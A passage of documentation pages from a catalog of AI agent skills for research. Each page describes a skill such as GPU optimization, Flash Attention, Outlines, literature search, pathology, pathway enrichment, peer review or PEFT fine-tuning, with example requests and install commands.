cuGraph, cuVS, cuCIM, KvikIO, Warp, Newton, Numba-CUDA, or RAFT questions; and profiling, memory-transfer, kernel, or multi-GPU bottlenecks. Also use when large data-parallel Python code is slow and GPU acceleration is a plausible option, even if the user does not name CUDA. ## Example requests Ask your agent in plain language, for example: * *"My numpy simulation loop is crawling on 50M-element arrays. Can I put it on my RTX GPU?"* * *"I have a 40 GB pandas script, `merge_cohorts.py`, that does groupby/merge on UK Biobank phenotype tables and takes 3 hours on one A100 box. I tried `import cudf` directly and got `MemoryError: std::bad_alloc` from RMM. How should I speed this up?"* * *"We run a nearest-neighbor lookup over about 20 million protein embeddings with Faiss on CPU and queries take seconds. We'd like them much faster, and we need results close to what we get now. What are our options?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill optimize-for-gpu # GitHub CLI gh skill install KalarisLabs/research-agent-skills optimize-for-gpu ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/optimize-for-gpu/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # optimizing-attention-flash — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/optimizing-attention-flash Enables Flash Attention for transformer models using PyTorch native scaled_dot_product_attention (PyTorch 2.2+) or the flash-attn library, including… # `optimizing-attention-flash` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Optimization, Flash Attention, Attention Optimization, Memory Efficiency, Speed Optimization, Long Context, PyTorch, SDPA, H100, FP8, Transformers ## When to use it Enables Flash Attention for transformer models using PyTorch native scaled\_dot\_product\_attention (PyTorch 2.2+) or the flash-attn library, including multi-query attention, sliding window attention, and FP8 on H100 (FlashAttention-3). Covers profiling speedup, checking accuracy against a baseline, and troubleshooting install and GPU support errors. Use when training or running transformers on long sequences (over 512 tokens), when standard attention runs out of GPU memory, when attention is the inference bottleneck, when switching a PyTorch model to the flash backend, or when tuning attention on H100 GPUs. Not for CPU inference, V100 GPUs, or sequences under 256 tokens; consider xFormers for other attention variants. ## Example requests Ask your agent in plain language, for example: * *"Can I make my PyTorch training loop use flash attention? Sequences are 4096 tokens."* * *"I'm fine-tuning Llama-3-8B on an A100 80GB with 16k context using my train.py and keep getting 'CUDA out of memory' inside the attention forward pass. I'm on PyTorch 2.3 and the HF model loads with the default eager attention. How do I fix this without shrinking the context?"* * *"We have a few H100 nodes and attention is the main bottleneck for our long-document model at inference. I'd like to squeeze out the most throughput using lower precision for the attention math, and also have each token attend only to a local window of neighbors. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill optimizing-attention-flash # GitHub CLI gh skill install KalarisLabs/research-agent-skills optimizing-attention-flash ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`mamba-architecture`](/research-agent-skills/skills/mamba-architecture) * [`nanogpt`](/research-agent-skills/skills/nanogpt) * [`llama-cpp`](/research-agent-skills/skills/llama-cpp) * [`rwkv-architecture`](/research-agent-skills/skills/rwkv-architecture) * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/optimizing-attention-flash/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # outlines — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/outlines Generates guaranteed-valid structured output from LLMs with Outlines (dottxt.ai), constraining token sampling via finite state machines for JSON schemas… # `outlines` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 **Tags:** Prompt Engineering, Outlines, Structured Generation, JSON Schema, Pydantic, Local Models, Grammar-Based Generation, vLLM, Transformers, Type Safety ## When to use it Generates guaranteed-valid structured output from LLMs with Outlines (dottxt.ai), constraining token sampling via finite state machines for JSON schemas, Pydantic models, regex, choice lists, and integer/float types, on Transformers, llama.cpp, vLLM, and limited OpenAI backends. Use when you need output that always parses as valid JSON or matches a regex. Use when extracting typed data into Pydantic models from a local model. Use when classifying text into a fixed set of categories. Use when running batch structured generation on vLLM or Transformers. Use when controlling token sampling at the grammar level. Not for API models needing automatic retries (use Instructor). ## Example requests Ask your agent in plain language, for example: * *"How do I force a local Llama model to only output one of 'positive', 'negative', or 'neutral' for my tweets?"* * *"I'm running Qwen2.5-7B-Instruct via vLLM on our lab GPU box and need to extract patient-free trial metadata from 2,000 abstracts in abstracts.jsonl into a Pydantic model (fields: sample\_size int, design enum, primary\_endpoint str, funding Optional\[str]). My json.loads keeps failing on about 8% of outputs with 'Expecting , delimiter'. How do I make this always parse?"* * *"I have a small local model and need every generated sample ID to look like 'SMP-2024-0001' (three letters, year, four digits), with no malformed IDs ever coming out. Can I enforce this at decoding time instead of filtering afterward?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill outlines # GitHub CLI gh skill install KalarisLabs/research-agent-skills outlines ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/outlines/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pacsomatic — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pacsomatic Operator toolkit for nf-core/pacsomatic matched tumor-normal workflows from BAM inputs. # `pacsomatic` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** tumor-normal, somatic variants, nf-core, long-read sequencing, cancer genomics ## When to use it Operator toolkit for nf-core/pacsomatic matched tumor-normal workflows from BAM inputs. Use this skill when the user needs to validate run inputs, generate pacsomatic-compliant samplesheets, prepare reproducible Nextflow launch artifacts, run locally or submit to schedulers (LSF/Slurm/PBS/SGE), and triage execution failures. Triggers on requests to run pacsomatic, prepare launch commands/scripts, perform dry-run checks, or troubleshoot pipeline startup and scheduler submission errors. ## Example requests Ask your agent in plain language, for example: * *"do a dry run of pacsomatic on my tumor/normal pair first and tell me what's missing"* * *"I have PacBio HiFi BAMs for patient P017: /data/p017/P017\_T.hifi.bam (sample P017\_T) and /data/p017/P017\_N.hifi.bam (sample P017\_N), reference is /ref/GRCh38.fa. Submit it to our Slurm cluster, partition 'long', account 'onc-lab', output in /scratch/p017\_out, and give me the job id. Last time sbatch failed with 'Invalid account or account/partition combination specified'."* * *"I've got long-read tumor and matched normal BAMs for one patient and want somatic variant calls through the nf-core long-read somatic workflow. Can you get everything set up so I can rerun it later exactly the same way?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pacsomatic # GitHub CLI gh skill install KalarisLabs/research-agent-skills pacsomatic ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pacsomatic/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # paper-corpus-rag — AI agent skill for knowledge and rag Source: https://docs.kalarislabs.com/research-agent-skills/skills/paper-corpus-rag Build grounded question answering and retrieval-augmented generation (RAG) over your own collection of research papers, with answers that cite the exact paper… # `paper-corpus-rag` **Category:** [knowledge-and-rag](/research-agent-skills/skills#knowledge-and-rag) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** RAG, retrieval, vector database, pgvector, Chroma, Qdrant, FAISS, SQLite, full-text search, literature synthesis ## When to use it Build grounded question answering and retrieval-augmented generation (RAG) over your own collection of research papers, with answers that cite the exact paper and passage. Use when a user wants to "chat with" or search a folder of PDFs, synthesize evidence across a literature corpus, find which paper says X, or build a vector/hybrid index with SQLite FTS5, pgvector (Postgres), Chroma, Qdrant or FAISS. Includes a zero-dependency local full-text index with citable hits. ## Example requests Ask your agent in plain language, for example: * *"I have 300 PDFs of papers. Let me ask questions and get answers with citations to the exact passages."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill paper-corpus-rag # GitHub CLI gh skill install KalarisLabs/research-agent-skills paper-corpus-rag ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `knowledge-and-rag` category with `/plugin install knowledge-and-rag@research-agent-skills`. ## Related * [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`open-notebook`](/research-agent-skills/skills/open-notebook) * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) * [`research-knowledge-graph`](/research-agent-skills/skills/research-knowledge-graph) * [`sentence-transformers`](/research-agent-skills/skills/sentence-transformers) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/paper-corpus-rag/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # paper-lookup — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/paper-lookup Search 18 scholarly APIs for papers, preprints, citations, open-access full text, repository records, and journal OA status, and return results with… # `paper-lookup` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** paper search, PubMed, arXiv, OpenAlex, Crossref, open access, citations ## When to use it Search 18 scholarly APIs for papers, preprints, citations, open-access full text, repository records, and journal OA status, and return results with reproducible provenance. Covers PubMed, PMC, Europe PMC, bioRxiv, medRxiv, arXiv, OpenAlex, Crossref, Semantic Scholar, CORE, Unpaywall, OpenCitations, PubTator3, Zenodo, Figshare, ROR, BioStudies, and DOAJ. Use when searching for papers, citations, DOI/PMID/arXiv lookups, abstracts, full text, open-access PDFs, preprints, citation graphs, author publications, biomedical entity annotations, deposited records (Zenodo, Figshare, BioStudies), institution ROR IDs, or any scholarly literature query. Triggers on mentions of any supported database or requests like "find papers on X", "look up this DOI", "who cites this paper", or "get me the PDF". ## Example requests Ask your agent in plain language, for example: * *"who cites 10.1038/nature12373? need the list"* * *"I'm writing the methods for a paper on SARS-CoV-2 spike mutations and need the open-access full text of PMID 34567890 so I can check which variants they sequenced. Pull the PDF if there is one, otherwise the XML body. NCBI eFetch gave me a 200 but the article has no body section. What's going on?"* * *"Our lab is putting together a table of everything our collaborators at the University of Tartu have deposited as datasets or software, plus a stable ID for the institution so we can link their works. Can you track that down?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill paper-lookup # GitHub CLI gh skill install KalarisLabs/research-agent-skills paper-lookup ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`citation-management`](/research-agent-skills/skills/citation-management) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/paper-lookup/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # paperclip — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/paperclip Search and read full-text biomedical papers, FDA/PMDA/EMA regulatory documents, clinical trial registries, and UniProt/PDB/ChEMBL entries with the Paperclip… # `paperclip` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.3 **Tags:** full-text papers, regulatory documents, clinical trials, biomedical literature ## When to use it Search and read full-text biomedical papers, FDA/PMDA/EMA regulatory documents, clinical trial registries, and UniProt/PDB/ChEMBL entries with the Paperclip CLI from GXL. Covers installing and authenticating the `paperclip` binary with a PAPERCLIP\_API\_KEY, the read-only virtual filesystem under /papers, /fda, /trials, /proteins and /clipboard, source-scoped semantic search, corpus-wide grep, metadata lookup and SQL, map/reduce reading across many papers, figure vision analysis, opt-in paper repositories with claim verification, and line-pinned citations. Use when asked to install paperclip, run paperclip search/grep/map/reduce/sql/repo, find or read biomedical literature, regulatory filings or clinical trials through paperclip, or produce citations with line numbers. ## Example requests Ask your agent in plain language, for example: * *"get paperclip set up on this machine, I've got a key in my .env"* * *"I'm writing the related-work section of my manuscript on CAR-T for lupus. I need the 5 most relevant full-text PMC papers from the last two years, with the exact sentence-level support for each claim, so reviewers can check my citations."* * *"Which papers in the corpus mention the accession GSE123456 anywhere in their text, including data availability statements? Also compare what the FDA approved label and the EU documents say about dosing for semaglutide."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill paperclip # GitHub CLI gh skill install KalarisLabs/research-agent-skills paperclip ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/paperclip/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # paperzilla — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/paperzilla Chat with your agent about projects, recommendations, and canonical papers in Paperzilla. # `paperzilla` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.0 **Tags:** paper recommendations, research feeds, literature monitoring ## When to use it Chat with your agent about projects, recommendations, and canonical papers in Paperzilla. Use when users ask for recent project recommendations, canonical paper details, markdown-based summaries, recommendation feedback, feed export, or Atom feed URLs. ## Example requests Ask your agent in plain language, for example: * *"what's new in my Paperzilla project on protein language models this week?"* * *"I ran `pz feed crispr-offtarget --must-read --limit 5 --json` and got 5 items. Rec ID rec\_8f21 looks interesting; can you pull the full markdown for it and tell me why it matters for my base-editing work? If it says it's not ready, what should I do?"* * *"I'd like to subscribe to the stream of papers that my lab's curated literature-tracking project surfaces, in my RSS reader, and also mark the ones that were useful so the ranking improves. How do I do that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill paperzilla # GitHub CLI gh skill install KalarisLabs/research-agent-skills paperzilla ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/paperzilla/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # parallel-web — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/parallel-web Runs the parallel-cli tool for web workflows: web search, URL and PDF extraction, deep research reports, structured data enrichment of supplied rows, FindAll… # `parallel-web` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.3 **Tags:** web research, deep research, data enrichment, web extraction ## When to use it Runs the parallel-cli tool for web workflows: web search, URL and PDF extraction, deep research reports, structured data enrichment of supplied rows, FindAll entity discovery, and recurring web monitors. Prefers primary literature and institutional sources for scientific queries. Use when looking up current web evidence or a bounded research question. Use when fetching content from a known URL, PDF, or JavaScript-rendered page. Use when adding web-sourced fields to a list of companies, people, or products. Use when discovering entities that match natural-language criteria. Use when an explicitly exhaustive multi-source report is requested. Use when tracking web changes on a recurring schedule. Not for one-time checks of a known page that need no CLI, or for offline literature databases. ## Example requests Ask your agent in plain language, for example: * *"Find me the latest on CRISPR base editing for sickle cell, what's been published in the last year?"* * *"I've got compounds.csv with 140 rows (columns: compound\_name, CAS). I need to add the originating lab, first publication year, and the PubChem CID for each one, pulled from the web. Can you do that?"* * *"Pull the full text out of [https://www.biorxiv.org/content/10.1101/2025.03.14.643210v1.full.pdf](https://www.biorxiv.org/content/10.1101/2025.03.14.643210v1.full.pdf) and tell me what sample sizes and statistical tests they used."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill parallel-web # GitHub CLI gh skill install KalarisLabs/research-agent-skills parallel-web ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`exa-search`](/research-agent-skills/skills/exa-search) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`research-lookup`](/research-agent-skills/skills/research-lookup) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/parallel-web/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pathml — AI agent skill for clinical and health Source: https://docs.kalarislabs.com/research-agent-skills/skills/pathml Covers local, research-only computational pathology with PathML 3.0.5: loading and tiling whole-slide images (OpenSlide, Bio-Formats), preprocessing and QC… # `pathml` **Category:** [clinical-and-health](/research-agent-skills/skills#clinical-and-health) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** computational pathology, whole slide images, digital pathology, medical imaging ## When to use it Covers local, research-only computational pathology with PathML 3.0.5: loading and tiling whole-slide images (OpenSlide, Bio-Formats), preprocessing and QC pipelines run via SlideData.run(), .h5path data management, multiplex image quantification, spatial graph construction (KNN, RAG, HACT), and bounded local ONNX model inference planning. Use when loading or tiling slides, building tissue-mask or stain pipelines, managing .h5path files and patient-level splits, quantifying CODEX or Vectra multiplex images, or building cell and tissue graphs. Not for clinical diagnosis or patient care decisions. ## Example requests Ask your agent in plain language, for example: * *"How do I tile a .svs slide with PathML and run a tissue mask on it?"* * *"I'm on Python 3.11 and ran `pip install pathml[all]` for my lab's CODEX project, and it errored out with a javabridge build failure on Windows. I have a 40-channel qptiff (codex\_run3.qptiff) and want to segment nuclei and get per-cell marker means into AnnData. What should I do?"* * *"I have 120 H\&E slides from 60 patients, with two or three slides per patient. I want to build a graph for each slide in which cells are nodes and neighbours within a certain distance are linked, and then train a classifier on it. How should I set this up so my evaluation isn't leaky?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pathml # GitHub CLI gh skill install KalarisLabs/research-agent-skills pathml ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `clinical-and-health` category with `/plugin install clinical-and-health@research-agent-skills`. ## Related * [`clinical-decision-support`](/research-agent-skills/skills/clinical-decision-support) * [`ray-data`](/research-agent-skills/skills/ray-data) * [Skills for medicine and clinical research](/research-agent-skills/fields/medicine) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pathml/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pathogen-variant-surveillance — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pathogen-variant-surveillance Query live pathogen genomic surveillance data through the GenSpectrum LAPIS API to find which viral lineages are circulating now, how fast they are growing… # `pathogen-variant-surveillance` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** pathogen genomics, genomic surveillance, viral lineages, epidemiology ## When to use it Query live pathogen genomic surveillance data through the GenSpectrum LAPIS API to find which viral lineages are circulating now, how fast they are growing, and what mutations they carry. Use whenever a question depends on the current state of a pathogen population rather than on remembered facts - which SARS-CoV-2 variant is dominant, whether a Pango lineage is still designated or has been withdrawn, what clade or genotype of H5N1 is in a host or region, whether a PCR primer or assay target still matches circulating sequence, or how a lineage's prevalence has moved week to week. Triggers include "variant surveillance", "genomic surveillance", "what variant is circulating", "dominant variant", "Pango lineage", "lineage prevalence", "growth advantage", "SARS-CoV-2 variant", "XFG", "clade 2.3.4.4b", "H5N1 genotype", "influenza clade", "RSV/mpox/measles/dengue lineage", "CoV-Spectrum", "LAPIS", "Nextclade", "pango-designation", and any request to report what a pathogen population looks like today. ## Example requests Ask your agent in plain language, for example: * *"what's the dominant covid variant right now in the US?"* * *"I'm finalizing the methods section of our manuscript and have a lineage list in lineages.txt (XFG.1.1, PC.2, XFG.20, PQ.17, plus a couple I typed from memory). Can you check they're all still valid before I submit? Also I need to know if PQ.17 is still going up in the last couple of months in the data."* * *"We have a qPCR assay targeting the HA gene of avian flu H5 in dairy cattle. Before we order more probes, I want to know if the probe site is still conserved in what's being sequenced lately and which clade/genotype is showing up in cattle."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pathogen-variant-surveillance # GitHub CLI gh skill install KalarisLabs/research-agent-skills pathogen-variant-surveillance ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pathogen-variant-surveillance/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pathway-enrichment — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pathway-enrichment Run pathway and gene-set enrichment analysis on gene lists or ranked gene data, then interpret the results. # `pathway-enrichment` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** pathway enrichment, gene set enrichment, GSEA, functional analysis, bioinformatics ## When to use it Run pathway and gene-set enrichment analysis on gene lists or ranked gene data, then interpret the results. Use whenever the user has a set of genes (differentially expressed genes from PyDESeq2/Scanpy, CRISPR-screen hits, cluster marker genes, proteomics hits) and wants to know which biological pathways, GO terms, or gene sets are over-represented or enriched. Covers over-representation analysis (ORA / Enrichr / Fisher / hypergeometric), ranked Gene Set Enrichment Analysis (GSEA / preranked), single-sample scoring (ssGSEA/GSVA), and functional profiling via gseapy, g:Profiler, Enrichr libraries, MSigDB, GO, KEGG, Reactome, and WikiPathways — plus gene-ID mapping, choosing the right background universe, multiple-testing correction, redundancy reduction, dotplots/enrichment maps, and publication-ready tables. Use this for "pathway analysis", "enrichment analysis", "GO enrichment", "KEGG/Reactome pathways", "GSEA", "over-representation", "functional annotation", or "what pathways are my genes in". ## Example requests Ask your agent in plain language, for example: * *"what pathways are enriched in my 214 upregulated genes? mouse, treated vs control"* * *"I ran PyDESeq2 on my patient-derived organoid RNA-seq (res\_df.csv, index = Ensembl IDs, columns baseMean, log2FoldChange, stat, pvalue, padj). I want GSEA against MSigDB Hallmark and Reactome, and gp.prerank gives me 'Warning: no genes overlap' with an empty result table. How do I fix this and get a figure for the paper?"* * *"I have a CRISPR knockout screen with about 18,000 genes scored by MAGeCK. The top 150 hits are essential genes. Can you help me work out what biological processes these hits point to and whether they're just general housekeeping machinery?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pathway-enrichment # GitHub CLI gh skill install KalarisLabs/research-agent-skills pathway-enrichment ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`bioservices`](/research-agent-skills/skills/bioservices) * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [`gget`](/research-agent-skills/skills/gget) * [`database-lookup`](/research-agent-skills/skills/database-lookup) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pathway-enrichment/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # peer-review — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/peer-review Prepare evidence-bounded, constructive peer-review drafts and structured manuscript assessments. # `peer-review` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** peer review, manuscript review, reporting guidelines, academic publishing ## When to use it Prepare evidence-bounded, constructive peer-review drafts and structured manuscript assessments. Use for authorized review of scientific manuscripts, protocols, preprints, or research proposals; reporting-guideline selection; claim–evidence checks; methods, statistics, reproducibility, ethics, figure/table, and citation critique; or revision-response planning. ## Example requests Ask your agent in plain language, for example: * *"I've been invited to review a Nature Communications manuscript on single-cell atlas integration. Can you help me draft my referee report?"* * *"I'm a reviewer for BMJ Open and have the editor's invitation. The paper is a stratified cluster RCT of a school-based vaccination reminder (manuscript\_v1.docx and supplement S1.pdf are saved locally). The abstract says the intervention 'reduced HPV vaccine hesitancy by 30%', but the primary outcome in the registry entry looks like uptake. Help me work out which reporting guideline applies and whether the claims match the evidence. I don't want anything uploaded anywhere."* * *"Our grant resubmission got three reviewer reports back and I have to write the rebuttal. Reviewer 2 says our mixed-effects model ignores clustering by site and wants a sensitivity analysis. Help me plan how to respond to each comment point by point."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill peer-review # GitHub CLI gh skill install KalarisLabs/research-agent-skills peer-review ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`cell-press`](/research-agent-skills/skills/cell-press) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`scientific-brainstorming`](/research-agent-skills/skills/scientific-brainstorming) * [`scientific-critical-thinking`](/research-agent-skills/skills/scientific-critical-thinking) * [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/peer-review/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # peft-fine-tuning — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/peft-fine-tuning Fine-tunes LLMs with Hugging Face PEFT, using LoRA, QLoRA, IA3, AdaLoRA, prefix tuning, and prompt tuning so that under 1% of parameters are trained. # `peft-fine-tuning` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Fine-Tuning, PEFT, LoRA, QLoRA, Parameter-Efficient, Adapters, Low-Rank, Memory Optimization, Multi-Adapter ## When to use it Fine-tunes LLMs with Hugging Face PEFT, using LoRA, QLoRA, IA3, AdaLoRA, prefix tuning, and prompt tuning so that under 1% of parameters are trained. Covers rank, alpha, and target module selection, loading and merging adapters, multi-adapter serving, and integration with TRL SFTTrainer, Axolotl, and vLLM. Use when fine-tuning 7B-70B models on limited GPU memory, when running QLoRA on a single 24GB GPU, when choosing LoRA rank and alpha, when merging or swapping adapters on one base model, or when debugging CUDA OOM or an adapter that does not apply. Not for full fine-tuning of small models under 1B parameters or cases needing all weights updated. ## Example requests Ask your agent in plain language, for example: * *"How do I pick LoRA rank and alpha for a 13B model?"* * *"I'm trying to QLoRA fine-tune Llama-3.1-8B on my 24GB RTX 4090 using train.jsonl with TRL's SFTTrainer, but I get 'CUDA out of memory' after about 40 steps at max\_seq\_length 4096. Here's my BitsAndBytesConfig and LoraConfig (r=64, all linear layers). What should I change?"* * *"I have one base Mistral-7B and three small task-specific fine-tunes (summarization, SQL generation, and clinical note extraction). I want to serve all three from a single GPU without keeping three full copies of the weights in memory, and be able to switch between them per request. How should I set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill peft-fine-tuning # GitHub CLI gh skill install KalarisLabs/research-agent-skills peft-fine-tuning ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`axolotl`](/research-agent-skills/skills/axolotl) * 